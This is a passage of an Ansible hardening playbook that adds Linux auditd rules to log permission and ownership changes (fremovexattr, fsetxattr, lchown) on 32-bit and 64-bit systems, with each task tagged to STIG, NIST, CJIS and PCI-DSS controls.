        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fremovexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fremovexattr for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fremovexattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fremovexattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fremovexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit fsetxattr tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fsetxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fsetxattr for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fsetxattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fsetxattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fsetxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fsetxattr for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fsetxattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fsetxattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fsetxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit lchown tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lchown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for lchown for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of lchown in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of lchown in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lchown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for lchown for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of lchown in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of lchown in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lchown
    - low_complexity
